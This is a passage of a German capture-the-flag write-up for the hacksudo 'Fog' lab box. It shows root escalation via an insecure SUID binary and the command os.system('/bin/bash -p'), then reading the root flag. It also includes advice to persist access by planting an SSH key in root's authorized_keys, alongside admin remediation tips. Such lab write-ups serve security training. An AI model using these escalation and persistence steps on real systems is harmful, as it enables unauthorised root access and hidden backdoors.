**Analyse:** Der Pentester führt die verdächtige Datei `./fog` aus. Wie vermutet, startet diese Datei eine Python-Shell (`Python 2.7.16`). Dies bestätigt, dass `fog` wahrscheinlich `setuid(0)` aufruft und dann `system("python ...")` oder etwas Ähnliches ausführt, wobei die lokale `python`-Datei im `fog`-Verzeichnis aufgerufen wird (da sie vermutlich im `PATH` zuerst gefunden wird oder direkt aufgerufen wird). Innerhalb der Python-Shell führt der Pentester zwei Python-Befehle aus: 1. `import os`: Importiert das `os`-Modul, das Funktionen zur Interaktion mit dem Betriebssystem bereitstellt. 2. `os.system("/bin/bash -p")`: Führt den Shell-Befehl `/bin/bash -p` über die `system()`-Funktion des `os`-Moduls aus. Die Option `-p` bei Bash ist entscheidend: Sie sorgt dafür, dass Bash die effektiven Benutzer- und Gruppen-IDs (die durch `setuid`/`setgid` gesetzt wurden, hier vermutlich Root) nicht auf die realen IDs zurücksetzt. Das Ergebnis ist eine neue Shell-Eingabeaufforderung: `┌──(root💀hacksudo)-[~/fog]`. Der Totenkopf im Prompt ist eine gängige Konfiguration in Penetration Testing VMs, um eine Root-Shell anzuzeigen. Der abschließende `id`-Befehl bestätigt dies: `uid=0(root)`. Der Benutzer ist nun Root.
**Bewertung:** Fantastisch, der Root-Zugriff war erfolgreich! Dies ist der vollständige Proof of Concept für die Privilegieneskalation. Die unsichere Implementierung der SUID-Binary `fog`, die `system()` in Kombination mit einem wahrscheinlich beeinflussbaren Pfad (oder direktem Aufruf der lokalen Datei) verwendete, ermöglichte die Ausführung von Code mit Root-Rechten. Die Verwendung von `/bin/bash -p` war der Schlüssel, um die erlangten Root-Rechte in der neuen Shell beizubehalten.
**Empfehlung (Pentester):**
1. Sie haben nun Root-Zugriff. Sichern Sie diesen Zugriff gegebenenfalls (z.B. durch Hinzufügen eines SSH-Schlüssels zu `/root/.ssh/authorized_keys`).
2. Suchen Sie nach der Root-Flagge (typischerweise in `/root/root.txt`).
3. Führen Sie eine Post-Exploitation-Analyse durch, um zu verstehen, wie das System konfiguriert ist und ob weitere interessante Daten vorhanden sind.
**Empfehlung (Admin):**
1. Entfernen oder korrigieren Sie die unsichere SUID-Binary `fog` sofort. (Siehe vorherige Empfehlungen zur sicheren Entwicklung von SUID-Programmen).
2. Überprüfen Sie das System auf weitere Anzeichen einer Kompromittierung, da der Angreifer nun Root-Zugriff hatte.
3. Analysieren Sie, wie die `fog`-Binary auf das System gelangt ist und warum sie SUID-Root-Rechte hatte.
fogproject-1.5.9 root.txt
**Analyse:** Nachdem Root-Rechte erlangt wurden, wechselt der Pentester in das Root-Home-Verzeichnis (`cd /root/`) und listet dessen Inhalt mit `ls` auf. Die Ausgabe zeigt ein Verzeichnis `fogproject-1.5.9` und die erwartete Datei `root.txt`.
**Bewertung:** Das Ziel ist in Sicht. Die Root-Flagge befindet sich erwartungsgemäß in der Datei `root.txt`. Das `fogproject`-Verzeichnis könnte Installationsdateien oder Konfigurationen enthalten.
**Empfehlung (Pentester):** Lesen Sie den Inhalt von `root.txt`, um die finale Flagge zu erhalten.
**Empfehlung (Admin):** Sichern Sie das `/root`-Verzeichnis ordnungsgemäß. Nur der Root-Benutzer sollte darauf Zugriff haben.
. .
.n . . n.
. .dP dP 9b 9b. .
4 qXb . dX Xb . dXp t
dX. 9Xb .dXb __ __ dXb. dXP .Xb
9XXb._ _.dXXXXb dXXXXbo. .odXXXXb dXXXXb._ _.dXXP
9XXXXXXXXXXXXXXXXXXXVXXXXXXXXOo. .oOXXXXXXXXVXXXXXXXXXXXXXXXXXXXP
`9XXXXXXXXXXXXXXXXXXXXX'~ ~`OOO8b d8OOO'~ ~`XXXXXXXXXXXXXXXXXXXXXP'
`9XXXXXXXXXXXP' `9XX' DIE `98v8P' HUMAN `XXP' `9XXXXXXXXXXXP'
~~~~~~~ 9X. .db|db. .XP ~~~~~~~
)b. .dbo.dP'`v'`9b.odb. .dX(
,dXXXXXXXXXXXb dXXXXXXXXXXXb.
dXXXXXXXXXXXP' . `9XXXXXXXXXXXb
dXXXXXXXXXXXXb d|b dXXXXXXXXXXXXb
9XXb' `XXXXXb.dX|Xb.dXXXXX' `dXXP
`' 9XXXXXX( )XXXXXXP `'
XXXX X.`v'.X XXXX
XP^X'`b d'`X^XX
X. 9 ` ' P )X
`b ` ' d'
` '
great you rooted hacksudo Fog Box !!!
flag {4356a779ce18252fa1dd2d2b6ab56b19}
submit this flag at hacksudo discord https://discord.gg/vK4NRYt3
**Analyse:** Der Befehl `cat root.txt` zeigt den Inhalt der finalen Flag-Datei an. Sie enthält eine Glückwunschbotschaft, ASCII-Art und die Root-Flagge: `4356a779ce18252fa1dd2d2b6ab56b19`. Zusätzlich gibt es einen Hinweis, die Flagge auf dem Discord-Server von hacksudo einzureichen.
**Bewertung:** Ziel erreicht! Die Root-Flagge wurde erfolgreich ausgelesen. Der Penetrationstest dieser Box ist damit abgeschlossen.
**Empfehlung (Pentester):** Dokumentieren Sie die Root-Flagge und schließen Sie den Bericht ab.
**Empfehlung (Admin):** Keine Flaggen in Produktionssystemen. Nachdem die Schwachstellen behoben wurden, stellen Sie sicher, dass keine Überreste der schwachstelle vorhanden sind....
Flags